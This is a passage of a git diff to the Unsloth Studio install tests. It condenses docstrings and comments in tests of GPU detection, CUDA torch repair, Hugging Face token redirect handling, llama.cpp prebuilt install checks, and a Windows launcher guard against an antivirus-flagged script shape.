-    """Start a daemon Timer that hard-exits the process at `deadline_s`. Returns
-    it so the caller can `.cancel()` on clean exit; being daemonised, it also
-    dies with the process if the script exits first."""
+    """Start a daemon Timer that hard-exits the process at `deadline_s`; returned
+    so the caller can `.cancel()` on clean exit (daemonised, dies with process)."""
 
     def _kaboom() -> None:
         msg = (
diff --git a/tests/studio/install/conftest.py b/tests/studio/install/conftest.py
index 8738ef2319..86104231f3 100644
--- a/tests/studio/install/conftest.py
+++ b/tests/studio/install/conftest.py
@@ -1,13 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-"""Pytest configuration for studio/install tests.
-
-install_python_stack.py does ``from backend.utils.wheel_utils import ...``
-which requires the ``studio/`` directory to be on sys.path.  When tests are
-run from the repo root (the normal case), the studio package is not
-automatically importable, so we add it here.
-"""
+"""Pytest config for studio/install tests: add studio/ to sys.path so `backend` imports work from the repo root."""
 
 from __future__ import annotations
 
diff --git a/tests/studio/install/smoke_test_parallel_studio_home.py b/tests/studio/install/smoke_test_parallel_studio_home.py
index be01147740..9d840355e1 100644
--- a/tests/studio/install/smoke_test_parallel_studio_home.py
+++ b/tests/studio/install/smoke_test_parallel_studio_home.py
@@ -1,29 +1,14 @@
 #!/usr/bin/env python3
-"""Smoke test: N parallel install.sh runs with distinct UNSLOTH_STUDIO_HOME
-values must produce N fully isolated installs whose backends run side by side.
+"""Smoke test (#5190 env-override path): N parallel install.sh runs with
+distinct UNSLOTH_STUDIO_HOME values must produce N isolated installs whose
+backends run side by side. Checks install-time layout/isolation + clean HOME,
+then runtime /api/health, distinct studio_root_id, and per-venv PIDs.
 
-Covers the env-override path from #5190:
-
-    install-time
-        * N concurrent ``install.sh --local --no-torch`` runs, each pinned to
-          its own UNSLOTH_STUDIO_HOME + redirected HOME, all exit 0.
-        * Each STUDIO_HOME has its own bin/share/llama.cpp/unsloth_studio venv,
-          a unique share/studio_install_id, and a studio.conf / launch-studio.sh
-          pointing only inside this install. bin/unsloth resolves into its venv.
-        * The redirected HOME is left clean (no rc append, .desktop, app stub).
-
-    runtime
-        * N ``bin/unsloth studio`` launches each bind a free port and report
-          /api/health 200, healthy, chat_only true under --no-torch.
-        * studio_root_id equals the install's studio_install_id and is pairwise
-          distinct; GET / and /api/chat are 200; each PID's python is its venv.
-
-Integration smoke runner (not pytest); ~1 minute on a warm uv cache. Invoke:
+Integration runner (not pytest), ~1 minute on a warm uv cache. Invoke:
 
     python tests/studio/install/smoke_test_parallel_studio_home.py [--n 6 --keep]
 
-Exits 0 PASS / 1 FAIL / 2 error. Artifacts removed on PASS unless --keep;
-kept on FAIL/ERROR for inspection.
+Exits 0 PASS / 1 FAIL / 2 error. Artifacts kept on FAIL/ERROR or with --keep.
 """
 
 from __future__ import annotations
@@ -94,15 +79,11 @@ def _launch_backend(
     log_path.parent.mkdir(parents = True, exist_ok = True)
     env = os.environ.copy()
     env["HOME"] = str(fake_home)
-    # Pin UNSLOTH_STUDIO_HOME (and clear the alias) so the child cannot
-    # inherit a Studio root from the caller's shell. Without this, a shell
-    # that already exports either var would override the per-label sys.prefix
-    # inference and every backend would resolve to the caller's install.
+    # Pin UNSLOTH_STUDIO_HOME and clear the alias so the child can't inherit a
+    # Studio root from the caller's shell and resolve to the wrong install.
     env["UNSLOTH_STUDIO_HOME"] = str(studio_home)
     env.pop("STUDIO_HOME", None)
-    # The child process inherits a dup of stdout via Popen, so closing the
-    # parent's handle when this function returns is safe and avoids relying
-    # on GC timing to release the fd.
+    # Popen dups stdout into the child, so closing the parent's handle here is safe.
     with log_path.open("w") as fh:
         return subprocess.Popen(
             [
@@ -208,11 +189,8 @@ def _check_fake_home_clean(fake_home: Path) -> None:
 
 
 def _backend_pid_python(pid: int) -> Path | None:
-    """Resolve the binary backing a running PID. Linux exposes this at
-    /proc/PID/exe; on platforms without /proc (macOS, BSD, Windows) we
-    skip this check and rely on the install-time symlink + studio.conf
-    invariants to catch cross-resolution. Returns None when /proc is
-    unavailable so the caller can skip cleanly."""
+    """Resolve the binary backing a running PID via /proc/PID/exe (Linux only);
+    returns None elsewhere so the caller skips this check cleanly."""
     if sys.platform != "linux":
         return None
     proc_exe = Path(f"/proc/{pid}/exe")
diff --git a/tests/studio/install/test_cuda_repair.py b/tests/studio/install/test_cuda_repair.py
index 83c2d962e8..cea4383268 100644
--- a/tests/studio/install/test_cuda_repair.py
+++ b/tests/studio/install/test_cuda_repair.py
@@ -1,10 +1,6 @@
-"""Tests for CUDA torch repair on poisoned NVIDIA venvs.
-
-Verifies _ensure_cuda_torch (studio/install_python_stack.py) reinstalls CUDA
-torch when a venv on an NVIDIA host carries a ROCm torch build (the pre-fix KFD
-gpu_id false positive), without touching healthy CUDA, deliberate CPU wheels,
-ROCm hosts, macOS, or Windows. All tests use mocks -- no GPU required.
-"""
+"""_ensure_cuda_torch reinstalls CUDA torch when an NVIDIA-host venv carries a ROCm
+build (the pre-fix KFD gpu_id false positive), but leaves healthy CUDA / CPU / ROCm /
+macOS / Windows untouched. Fully mocked -- no GPU required."""
 
 import importlib.util
 import sys
@@ -14,7 +10,7 @@ from unittest.mock import MagicMock, patch
 import pytest
 
 
-# ── Load module under test (mirrors test_rocm_support.py) ────────────────────
+# Load module under test (mirrors test_rocm_support.py).
 
 PACKAGE_ROOT = Path(__file__).resolve().parents[3]
 
@@ -29,21 +25,14 @@ _ensure_cuda_torch = stack_mod._ensure_cuda_torch
 _detect_cuda_torch_index_url = stack_mod._detect_cuda_torch_index_url
 
 
-# ── Helpers ──────────────────────────────────────────────────────────────────
-
-
 def _make_run(
     torch_state = "hip",
     cuda_version = "12.8",
     torch_rc = 0,
     smi_rc = 0,
 ):
-    """Build a subprocess.run side_effect.
-
-    The torch-classify probe runs sys.executable and reads bytes stdout; the
-    nvidia-smi version probe runs the smi path with text=True. Distinguish by
-    the executable.
-    """
+    """subprocess.run side_effect: torch-classify probe (sys.executable, bytes
+    stdout) vs nvidia-smi version probe (smi path, text=True), keyed on the executable."""
 
     def _run(cmd, *args, **kwargs):
         result = MagicMock()
@@ -78,9 +67,7 @@ def _run_cuda_repair(
 ):
     """Invoke _ensure_cuda_torch under a fully mocked host; return the pip mock.
 
-    cvd controls CUDA_VISIBLE_DEVICES: None removes it from the environment
-    (the host machine may export one), any string sets it explicitly.
-    """
+    cvd controls CUDA_VISIBLE_DEVICES: None removes it from the env, any string sets it."""
     env = {}
     if rocm_marker:
         env["UNSLOTH_ROCM_TORCH_INSTALLED"] = "1"
@@ -122,7 +109,7 @@ def _index_url(mock_pip) -> str:
     return args[args.index("--index-url") + 1]
 
 
-# ── Repair fires only on the poisoning signature ─────────────────────────────
+# Repair fires only on the poisoning signature.
 
 
 class TestCudaRepairFires:
@@ -136,13 +123,13 @@ class TestCudaRepairFires:
         assert mock_pip.call_args.kwargs["constrain"] is False
 
     def test_rocm_in_version_string_triggers_repair(self):
-        # AMD SDK / Radeon wheels may not set torch.version.hip but encode
-        # rocm in __version__; the probe prints "hip" for both.
+        # AMD SDK / Radeon wheels may encode rocm in __version__ without
+        # torch.version.hip; the probe prints "hip" for both.
         mock_pip = _run_cuda_repair(torch_state = "hip")
         assert mock_pip.call_count == 1
 
 
-# ── No-op cases ──────────────────────────────────────────────────────────────
+# No-op cases.
 
 
 class TestCudaRepairSkips:
@@ -192,8 +179,7 @@ class TestCudaRepairSkips:
         mock_pip.assert_not_called()
 
     def test_cvd_minus_one_skips(self):
-        # CUDA_VISIBLE_DEVICES=-1 deliberately hides the NVIDIA GPU (mixed
-        # AMD+NVIDIA host running ROCm torch on the AMD card).
+        # CUDA_VISIBLE_DEVICES=-1 hides the NVIDIA GPU (mixed AMD+NVIDIA host on the AMD card).
         mock_pip = _run_cuda_repair(cvd = "-1", torch_state = "hip")
         mock_pip.assert_not_called()
 
@@ -206,7 +192,7 @@ class TestCudaRepairSkips:
         assert mock_pip.call_count == 1
 
 
-# ── CUDA index ladder ────────────────────────────────────────────────────────
+# CUDA index ladder.
 
 
 class TestCudaIndexResolution:
@@ -231,7 +217,7 @@ class TestCudaIndexResolution:
         assert "cu126" in _index_url(mock_pip)
 
     def test_proc_fallback_no_smi_defaults_cu126(self):
-        # NVIDIA usable via /proc fallback, nvidia-smi absent entirely.
+        # NVIDIA usable via /proc fallback, nvidia-smi absent.
         mock_pip = _run_cuda_repair(smi_path = None)
         assert "cu126" in _index_url(mock_pip)
 
diff --git a/tests/studio/install/test_gpu_detection_followups.py b/tests/studio/install/test_gpu_detection_followups.py
index 983969a4d3..0926cf9bd5 100644
--- a/tests/studio/install/test_gpu_detection_followups.py
+++ b/tests/studio/install/test_gpu_detection_followups.py
@@ -1,18 +1,4 @@
-"""Tests for the GPU-detection follow-ups to PR 6174.
-
-PR 6174 made NVIDIA take precedence and added a /proc/driver/nvidia/gpus
-fallback in install.sh and studio/install_python_stack.py. These tests cover the
-same hardening ported to the llama.cpp prebuilt installer
-(studio/install_llama_prebuilt.py) and the Studio shell setup (studio/setup.sh):
-
-  * detect_host() recognises NVIDIA via /proc/driver/nvidia/gpus when nvidia-smi
-    is unavailable, and skips ROCm probing when NVIDIA is usable.
-  * setup.sh routes through a timeout-bounded NVIDIA probe with a /proc fallback
-    and only selects a CUDA/ROCm source build when the matching GPU is detected.
-
-All tests use mocks or source-level assertions -- no GPU, network, or real
-nvidia-smi/rocminfo invocation.
-"""
+"""GPU-detection follow-ups to PR 6174: NVIDIA precedence + /proc/driver/nvidia/gpus fallback ported to install_llama_prebuilt.py and setup.sh. Mocks/source-level only, no GPU."""
 
 import importlib.util
 import sys
@@ -41,8 +27,7 @@ SETUP_SH = PACKAGE_ROOT / "studio" / "setup.sh"
 
 
 def _make_run_capture(rocminfo_stdout: str = ""):
-    """Return a fake run_capture: rocminfo reports rocminfo_stdout, everything
-    else (nvidia-smi, amd-smi) returns empty so only the patched probes matter."""
+    """Fake run_capture: rocminfo returns rocminfo_stdout, everything else empty."""
 
     def _run_capture(cmd, *args, **kwargs):
         exe = str(cmd[0]) if cmd else ""
@@ -102,8 +87,7 @@ def _run_detect_host(
     for p in patches:
         p.start()
     try:
-        # Ensure CUDA_VISIBLE_DEVICES does not leak in from the test host unless
-        # the scenario sets it explicitly.
+        # Don't let the host's CUDA_VISIBLE_DEVICES leak in unless the scenario sets it.
         if env is None or "CUDA_VISIBLE_DEVICES" not in env:
             prebuilt_mod.os.environ.pop("CUDA_VISIBLE_DEVICES", None)
         return detect_host()
@@ -239,11 +223,7 @@ class TestSetupShHardening:
         assert "command -v timeout" in body
 
     def test_cuda_source_build_gated_on_usable_nvidia(self, setup_src):
-        """The nvcc source-build search must be gated on _setup_nvidia_usable.
-
-        The hidden-GPU policy (CUDA_VISIBLE_DEVICES=""/-1) lives inside
-        _setup_has_usable_nvidia_gpu, so the gate itself only needs the flag.
-        """
+        """The nvcc source-build search must be gated on _setup_nvidia_usable."""
         anchor = setup_src.find('NVCC_PATH=""\n')
         assert anchor >= 0
         window = setup_src[anchor : anchor + 700]
@@ -252,9 +232,7 @@ class TestSetupShHardening:
         ), "CUDA toolkit search must require a usable NVIDIA GPU, not just nvcc"
 
     def test_nvidia_helper_honours_hidden_cvd(self, setup_src):
-        """_setup_has_usable_nvidia_gpu must consult the hidden-CVD helper so
-        CUDA_VISIBLE_DEVICES=""/-1 suppresses NVIDIA before the AMD probes are
-        gated (mixed hosts steered to the AMD card keep the ROCm route)."""
+        """_setup_has_usable_nvidia_gpu must consult the hidden-CVD helper so CVD ""/-1 suppresses NVIDIA before AMD gating."""
         assert "_setup_cvd_hides_nvidia()" in setup_src
         start = setup_src.find("_setup_has_usable_nvidia_gpu() {")
         end = setup_src.find("\n}", start)
@@ -284,9 +262,7 @@ class TestSetupShHardening:
 
 
 class TestBackendExportLeafClassification:
-    """A custom UNSLOTH_PYTORCH_MIRROR whose base path contains "rocm" or
-    "gfx" must not mislabel a cu*/cpu index as ROCm; classification uses the
-    final path segment of TORCH_INDEX_URL only."""
+    """A mirror base path containing "rocm"/"gfx" must not mislabel a cu*/cpu index; classification uses TORCH_INDEX_URL's leaf only."""
 
     @pytest.fixture(scope = "class")
     def install_src(self) -> str:
@@ -343,8 +319,7 @@ _STACK_SPEC.loader.exec_module(stack_mod)
 
 
 def _stack_nvidia_usable(cvd):
-    """Drive install_python_stack._has_usable_nvidia_gpu with a mocked
-    nvidia-smi that always reports a GPU; cvd = None removes the env var."""
+    """Drive _has_usable_nvidia_gpu with a mocked nvidia-smi that always reports a GPU; cvd=None unsets the env var."""
 
     def fake_run(cmd, *args, **kwargs):
         result = MagicMock()
@@ -368,11 +343,7 @@ def _stack_nvidia_usable(cvd):
 
 
 class TestHiddenCvdNotUsable:
-    """CUDA_VISIBLE_DEVICES set to "" or "-1" deliberately hides every NVIDIA
-    device (mixed AMD+NVIDIA hosts steering work to the AMD card). All three
-    _has_usable_nvidia_gpu implementations (install_python_stack.py, install.sh,
-    setup.sh) must report the GPU as not usable so the AMD/CPU routes run,
-    matching install_llama_prebuilt.py's has_usable_nvidia."""
+    """CVD ""/-1 hides every NVIDIA device; all three _has_usable_nvidia_gpu impls must report not-usable so AMD/CPU routes run."""
 
     def test_python_unset_cvd_is_usable(self):
         assert _stack_nvidia_usable(None) is True
@@ -393,9 +364,7 @@ class TestHiddenCvdNotUsable:
         assert _stack_nvidia_usable("0,1") is True
 
     def test_hidden_nvidia_restores_rocm_detection(self):
-        """Mixed host, NVIDIA hidden via CVD=-1, rocminfo reports gfx1100:
-        _has_rocm_gpu must proceed past the NVIDIA guard and return True
-        (before this fix the guard ignored CVD and blocked ROCm)."""
+        """Mixed host, NVIDIA hidden via CVD=-1: _has_rocm_gpu must pass the NVIDIA guard and return True (pre-fix it ignored CVD)."""
 
         def fake_run(cmd, *args, **kwargs):
             result = MagicMock()
@@ -420,8 +389,7 @@ class TestHiddenCvdNotUsable:
 
     @staticmethod
     def _run_sh_helper(tmp_path, src: str, fn_names: list, cvd):
-        """Extract shell functions, run the usable-GPU one against a fake
-        nvidia-smi, and return "usable"/"not_usable"."""
+        """Extract shell functions, run the usable-GPU one against a fake nvidia-smi; return "usable"/"not_usable"."""
         import os as _os
         import subprocess as sp
 
diff --git a/tests/studio/install/test_hf_auth.py b/tests/studio/install/test_hf_auth.py
index 7c3296d4fd..99e65b7fed 100644
--- a/tests/studio/install/test_hf_auth.py
+++ b/tests/studio/install/test_hf_auth.py
@@ -1,11 +1,4 @@
-"""Tests for Hugging Face auth on the llama.cpp prebuilt installer's fetches.
-
-Anonymous huggingface.co downloads (tiny GGUF validation model) share a
-per-IP rate limit that CI fleets exhaust (HTTP 429), forcing the prebuilt
-path into a source build. auth_headers now sends HF_TOKEN to huggingface.co
-hosts, and a redirect handler strips Authorization when the download is
-redirected to a different host (CDN signed URLs). All tests are offline.
-"""
+"""HF auth on the llama.cpp prebuilt installer: auth_headers sends HF_TOKEN to huggingface.co only, and a redirect handler strips Authorization on cross-host redirects. Offline."""
 
 import importlib.util
 import sys
@@ -33,7 +26,7 @@ GH_URL = "https://api.github.com/repos/unslothai/llama.cpp/releases"
 
 
 def _headers(url, env):
-    """auth_headers under a fully controlled token environment."""
+    """Call auth_headers under a fully controlled token environment."""
     with patch.dict(mod.os.environ, env, clear = False):
         for var in _TOKEN_VARS:
             if var not in env:
diff --git a/tests/studio/install/test_install_llama_prebuilt_logic.py b/tests/studio/install/test_install_llama_prebuilt_logic.py
index 9ccfe15a88..a5a1131ecc 100644
--- a/tests/studio/install/test_install_llama_prebuilt_logic.py
+++ b/tests/studio/install/test_install_llama_prebuilt_logic.py
@@ -238,8 +238,7 @@ def _mk_source_tarball(path: Path, tag: str) -> None:
 def test_hydrate_source_tree_prefers_release_asset_for_mix(
     tmp_path: Path, monkeypatch: pytest.MonkeyPatch
 ):
-    # A mix build's merge commit is in no repo, so the codeload/archive URLs 404.
-    # hydrate must fetch the release asset and never touch codeload.
+    # A mix build's merge commit 404s on codeload, so hydrate must fetch the release asset.
     commit = "a" * 40
     archive_path = tmp_path / "merged-source.tar.gz"
     _mk_source_tarball(archive_path, f"b9000-mix-{commit[:7]}")
@@ -881,8 +880,7 @@ def write_linux_install_shape(install_dir: Path) -> None:
     (install_dir / "llama-quantize").write_text("#!/bin/sh\n", encoding = "utf-8")
     (runtime_dir / "llama-server").write_text("#!/bin/sh\n", encoding = "utf-8")
     (runtime_dir / "llama-quantize").write_text("#!/bin/sh\n", encoding = "utf-8")
-    # Mirror the runtime payload health groups in install_llama_prebuilt.py:
-    # libllama-common.so* was added by PR #5135 and is required.
+    # libllama-common.so* (PR #5135) is a required runtime payload health group.
     (runtime_dir / "libllama-common.so.0").write_bytes(b"DLL")
     (runtime_dir / "libllama.so.0").write_bytes(b"DLL")
     (runtime_dir / "libggml.so.0").write_bytes(b"DLL")
@@ -1279,10 +1277,7 @@ def test_existing_install_matches_plan_windows_cuda_requires_cuda_dll(tmp_path:
 
 
 def test_existing_install_matches_plan_windows_cuda_paired_requires_cudart(tmp_path: Path):
-    """When the choice ships a paired cudart bundle (#5106), the install
-    is considered stale unless cudart64_*.dll and cublas64_*.dll are
-    actually on disk. Otherwise existing broken installs would keep
-    matching and skip the reinstall that drops cudart in."""
+    """A paired cudart bundle (#5106) marks the install stale unless cudart64_* and cublas64_* are on disk."""
     install_dir = tmp_path / "llama.cpp"
     install_dir.mkdir()
     write_windows_install_shape(
@@ -1380,10 +1375,7 @@ def test_existing_install_matches_plan_windows_cuda_paired_requires_cudart(tmp_p
     (install_dir / "build" / "bin" / "Release" / "cudart64_12.dll").unlink()
     assert existing_install_matches_plan(install_dir, host, plan) is False
 
-    # cublasLt missing -- stale, must reinstall. The upstream cudart
-    # bundle ships all three of cudart / cublas / cublasLt; a user with
-    # cudart + cublas but no cublasLt is still missing a required GPU
-    # initialisation DLL and Studio must refresh the install.
+    # cublasLt missing -- stale, must reinstall (all three DLLs are required).
     write_windows_install_shape(
         install_dir,
         include_llama_dll = True,
@@ -1395,11 +1387,7 @@ def test_existing_install_matches_plan_windows_cuda_paired_requires_cudart(tmp_p
 
 
 def test_existing_install_matches_plan_windows_cuda_unpaired_skips_cudart_check(tmp_path: Path):
-    """If the choice has no paired runtime archive (manifest dropped it,
-    or upstream did not ship cudart), legacy installs without cudart on
-    disk must still pass the health check -- otherwise the installer
-    would loop on reinstall forever because install_from_archives has no
-    cudart source to drop in."""
+    """With no paired runtime archive, a legacy install lacking cudart must still pass (else reinstall loops)."""
     install_dir = tmp_path / "llama.cpp"
     install_dir.mkdir()
     write_windows_install_shape(
@@ -1475,11 +1463,7 @@ def test_existing_install_matches_plan_windows_cuda_unpaired_skips_cudart_check(
 
 
 def test_existing_install_fingerprint_changes_when_cudart_pair_added(tmp_path: Path):
-    """Existing pre-#5322 Windows CUDA installs (no paired cudart) must
-    be treated as stale once the choice gains a runtime archive,
-    otherwise the fingerprint match would keep skipping the reinstall
-    that drops the cudart DLLs in. This is the install-cache half of the
-    #5106 fix -- the health-check half lives in the test above."""
+    """A pre-#5322 CUDA install must go stale once the choice gains a runtime archive (#5106 fingerprint half)."""
     install_dir = tmp_path / "llama.cpp"
     install_dir.mkdir()
     write_windows_install_shape(
@@ -1554,7 +1538,7 @@ def test_existing_install_fingerprint_changes_when_cudart_pair_added(tmp_path: P
         },
     )
 
-    # Install metadata was written for the legacy (no-pair) choice.
+    # Metadata written for the legacy (no-pair) choice.
     write_prebuilt_metadata(
         install_dir,
         requested_tag = "latest",
@@ -1565,10 +1549,7 @@ def test_existing_install_fingerprint_changes_when_cudart_pair_added(tmp_path: P
         prebuilt_fallback_used = False,
     )
 
-    # New plan offers the paired choice -- fingerprint must differ so
-    # the install is refreshed. The health check would also catch this
-    # because cudart64_*.dll is missing on disk; we test the fingerprint
-    # half explicitly by comparing the two fingerprints directly.
+    # The paired choice's fingerprint must differ from the legacy one so the install refreshes.
     legacy_fingerprint = INSTALL_LLAMA_PREBUILT.expected_install_fingerprint(
         llama_tag = "b9001",
         release_tag = "release-1",
@@ -2384,8 +2365,7 @@ def test_existing_install_matches_choice_fails_when_install_tree_incomplete(tmp_
         is True
     )
 
-    # Remove convert_hf_to_gguf.py (checked by confirm_install_tree but not
-    # runtime_payload_is_healthy) and verify the guard catches it
+    # Remove convert_hf_to_gguf.py (confirm_install_tree checks it; runtime health does not).
     (install_dir / "convert_hf_to_gguf.py").unlink()
     assert (
         existing_install_matches_choice(
@@ -2489,12 +2469,7 @@ def test_existing_install_matches_choice_fails_when_install_tree_incomplete_maco
 
 
 def test_paired_runtime_dll_patterns_excludes_executables() -> None:
-    """The paired runtime archive must only contribute CUDA DLLs to
-    the install. The narrow pattern list -- not the broad
-    runtime_patterns_for_choice ``*.exe`` / ``*.dll`` -- is what
-    prevents a malformed cudart bundle from overwriting
-    llama-server.exe at install time.
-    """
+    """The paired runtime archive must contribute only CUDA DLLs (no *.exe/*.dll) so it can't overwrite binaries."""
     paired_runtime_dll_patterns = INSTALL_LLAMA_PREBUILT.paired_runtime_dll_patterns
     paired_choice = AssetChoice(
         repo = "x",
@@ -2538,10 +2513,7 @@ def test_paired_runtime_dll_patterns_excludes_executables() -> None:
 
 
 def test_runtime_overlay_cannot_overwrite_main_archive_payload(tmp_path: Path) -> None:
-    """End-to-end: a malformed runtime archive containing
-    ``llama-server.exe`` alongside the real cudart DLLs must NOT
-    replace the main archive's ``llama-server.exe``.
-    """
+    """A malformed runtime archive with llama-server.exe must NOT replace the main archive's binary."""
     install_from_archives = INSTALL_LLAMA_PREBUILT.install_from_archives
 
     work = tmp_path / "work"
@@ -2727,13 +2699,7 @@ def test_linux_runtime_overlay_copies_llama_tool_impl_libraries(tmp_path: Path)
 
 
 def test_python_runtime_dirs_covers_cu13_and_library_bin(monkeypatch, tmp_path: Path) -> None:
-    """Installer-side runtime DLL discovery must scan the same path
-    set as the backend ``_windows_pip_nvidia_dll_dirs``: legacy
-    ``nvidia/<pkg>/bin``, current ``nvidia/<pkg>/bin/x86_64``
-    (cu13 layout), conda-style ``nvidia/<pkg>/Library/bin``, plus
-    ``torch/lib``. Otherwise installer preflight and backend launch
-    can disagree about which DLLs are actually present.
-    """
+    """Installer DLL discovery must scan the same path set as the backend (cu12/cu13/conda layouts + torch/lib)."""
     import site as _site
 
     python_runtime_dirs = INSTALL_LLAMA_PREBUILT.python_runtime_dirs
@@ -2782,8 +2748,7 @@ def _nvidia_linux_host():
 
 
 def _run_validate_prebuilt_choice(monkeypatch, tmp_path, *, expected_sha256):
-    """Drive validate_prebuilt_choice with every heavy install step stubbed and
-    return how many times the functional quantize/server smoke tests ran."""
+    """Run validate_prebuilt_choice with heavy steps stubbed; return the quantize/server smoke-test call counts."""
     calls = {"quantize": 0, "server": 0}
     server_path = tmp_path / "install" / "build" / "bin" / "llama-server"
     quantize_path = tmp_path / "install" / "build" / "bin" / "llama-quantize"
@@ -2847,23 +2812,19 @@ def _run_validate_prebuilt_choice(monkeypatch, tmp_path, *, expected_sha256):
 
 
 def test_validate_prebuilt_choice_approved_validation_skipped_when_flag_off(tmp_path, monkeypatch):
-    # An approved (sha256-verified) bundle skips the staged smoke test while the
-    # flag is off: the manifest hash is its integrity gate.
+    # An approved (sha256-verified) bundle skips the smoke test while the flag is off.
     calls = _run_validate_prebuilt_choice(monkeypatch, tmp_path, expected_sha256 = "ab" * 32)
     assert calls == {"quantize": 0, "server": 0}
 
 
 def test_validate_prebuilt_choice_hashless_build_always_validated(tmp_path, monkeypatch):
-    # A hashless external build has no approved sha256, so the
-    # functional smoke test is its only integrity gate and must run even while the
-    # flag is off -- otherwise a corrupted/replaced archive could be activated.
+    # A hashless build has no sha256 gate, so the smoke test must run even with the flag off.
     calls = _run_validate_prebuilt_choice(monkeypatch, tmp_path, expected_sha256 = None)
     assert calls == {"quantize": 1, "server": 1}
 
 
 def test_validate_prebuilt_choice_approved_validation_runs_when_flag_enabled(tmp_path, monkeypatch):
-    # Flipping _RUN_STAGED_PREBUILT_VALIDATION back on restores the full smoke test
-    # for approved bundles too, proving the check is kept intact, only gated off.
+    # _RUN_STAGED_PREBUILT_VALIDATION back on restores the smoke test for approved bundles too.
     monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "_RUN_STAGED_PREBUILT_VALIDATION", True)
     calls = _run_validate_prebuilt_choice(monkeypatch, tmp_path, expected_sha256 = "ab" * 32)
     assert calls == {"quantize": 1, "server": 1}
diff --git a/tests/studio/install/test_launch_studio_launcher.py b/tests/studio/install/test_launch_studio_launcher.py
index 8ea053b783..a7396aaf5d 100644
--- a/tests/studio/install/test_launch_studio_launcher.py
+++ b/tests/studio/install/test_launch_studio_launcher.py
@@ -1,9 +1,7 @@
-"""Guard install.ps1's Studio launcher against re-introducing the AV-heuristic
-shape: a WScript .vbs that spawns a hidden, ExecutionPolicy-Bypass PowerShell
-(Kaspersky HEUR:Trojan.VBS.Agent.gen). The shortcut must stay windowless via
-powershell.exe -WindowStyle Hidden over launch-studio.ps1 -- never a .vbs /
-WScript.Shell.Run wrapper. Any pre-existing .vbs from an older install must be
-deleted, not merely left behind."""
+"""Guard install.ps1's Studio launcher against the AV-heuristic shape (Kaspersky
+HEUR:Trojan.VBS.Agent.gen): a WScript .vbs spawning a hidden ExecutionPolicy-Bypass PowerShell.
+The shortcut must stay windowless via powershell.exe -WindowStyle Hidden over launch-studio.ps1,
+never a .vbs/WScript.Shell.Run wrapper, and any pre-existing .vbs must be deleted on upgrade."""
 
 import re
 from pathlib import Path
@@ -24,8 +22,7 @@ def test_install_ps1_present():
 
 def test_no_vbs_launcher_generated():
     text = _text()
-    # No here-string that builds a .vbs body, and no .vbs file written. (A
-    # Remove-Item cleanup of the legacy .vbs is allowed and checked separately.)
+    # No here-string building a .vbs body, no .vbs written (legacy cleanup checked separately).
     assert "$vbsContent" not in text, (
         "install.ps1 must not generate a launch-studio.vbs: a WScript.Shell .vbs "
         "spawning a hidden ExecutionPolicy-Bypass PowerShell is the exact shape "
@@ -38,8 +35,8 @@ def test_no_vbs_launcher_generated():
 
 
 def test_legacy_vbs_removed_on_upgrade():
-    # The whole point: an upgrade must DELETE a pre-existing launch-studio.vbs,
-    # not just stop generating it, or AV keeps flagging the stale file.
+    # An upgrade must DELETE a pre-existing launch-studio.vbs, not just stop generating it,
+    # or AV keeps flagging the stale file.
     text = _text()
     assert re.search(
         r"Remove-Item\s+-LiteralPath\s+\$legacyLauncherVbs", text
@@ -47,13 +44,13 @@ def test_legacy_vbs_removed_on_upgrade():
 
 
 def test_shortcut_target_is_not_wscript():
-    # The .lnk must not be launched through wscript.exe (the VBS script host).
+    # The .lnk must not launch through wscript.exe (the VBS script host).
     text = _text()
     assert "wscript.exe" not in text.lower()
 
 
 def test_launcher_is_windowless_powershell():
-    # The shortcut runs powershell.exe with a hidden window over launch-studio.ps1.
+    # The shortcut runs powershell.exe -WindowStyle Hidden over launch-studio.ps1.
     text = _text()
     assert re.search(
         r"-WindowStyle\s+Hidden", text
diff --git a/tests/studio/install/test_llama_pr_force_and_source.py b/tests/studio/install/test_llama_pr_force_and_source.py
index 8643806127..8f40c9d720 100644
--- a/tests/studio/install/test_llama_pr_force_and_source.py
+++ b/tests/studio/install/test_llama_pr_force_and_source.py
@@ -1,14 +1,4 @@
-"""
-Tests for the current llama.cpp wrapper policy in setup.sh / setup.ps1.
-
-Tests cover:
-  - Bash subprocess: PR_FORCE promotion, user-override, zero/empty/invalid ignored
-  - Bash subprocess: source remains pinned to ggml-org even if env source is set
-  - Static source checks: mainline repo/source are hardcoded for now
-  - PowerShell subprocess: PR_FORCE promotion and fixed-source parity
-
-Run: pytest tests/studio/install/test_llama_pr_force_and_source.py -v
-"""
+"""Tests for the llama.cpp wrapper policy (PR_FORCE promotion, fixed ggml-org source) in setup.sh / setup.ps1."""
 
 import os
 import shlex
@@ -18,9 +8,6 @@ from pathlib import Path
 
 import pytest
 
-# ---------------------------------------------------------------------------
-# Paths
-# ---------------------------------------------------------------------------
 PACKAGE_ROOT = Path(__file__).resolve().parents[3]
 SETUP_SH = PACKAGE_ROOT / "studio" / "setup.sh"
 SETUP_PS1 = PACKAGE_ROOT / "studio" / "setup.ps1"
@@ -31,17 +18,13 @@ PWSH_AVAILABLE = os.path.isfile(PWSH) and os.access(PWSH, os.X_OK)
 requires_pwsh = pytest.mark.skipif(not PWSH_AVAILABLE, reason = "pwsh not available")
 
 
-# ---------------------------------------------------------------------------
-# Helpers
-# ---------------------------------------------------------------------------
 def run_bash(
     script: str,
     *,
     timeout: int = 60,
     env: dict | None = None,
 ) -> subprocess.CompletedProcess:
-    """Run a bash script fragment. 60s default tolerates slow CI shell
-    startup; the scripts themselves run in well under a second."""
+    """Run a bash fragment. 60s default tolerates slow CI shell startup."""
     run_env = os.environ.copy()
     if env:
         run_env.update(env)
@@ -60,8 +43,7 @@ def run_pwsh(
     timeout: int = 60,
     env: dict | None = None,
 ) -> subprocess.CompletedProcess:
-    """Run a PowerShell script fragment. 60s default tolerates slow CI pwsh
-    startup (a 10s budget was flaky); the scripts run in under a second."""
+    """Run a PowerShell fragment. 60s default tolerates slow CI pwsh startup (10s was flaky)."""
     run_env = os.environ.copy()
     run_env["NO_COLOR"] = "1"
     if env:
@@ -75,9 +57,7 @@ def run_pwsh(
     )
 
 
-# ---------------------------------------------------------------------------
-# Shared bash stubs
-# ---------------------------------------------------------------------------
+# Shared bash stubs.
 BASH_STUBS = textwrap.dedent("""\
     step()    { echo "step:$1:$2"; }
     substep() { :; }
@@ -116,9 +96,7 @@ def make_mock_git(tmp_path: Path, *, fail_on: str = "") -> tuple[Path, Path]:
     return mock_bin, log_file
 
 
-# =========================================================================
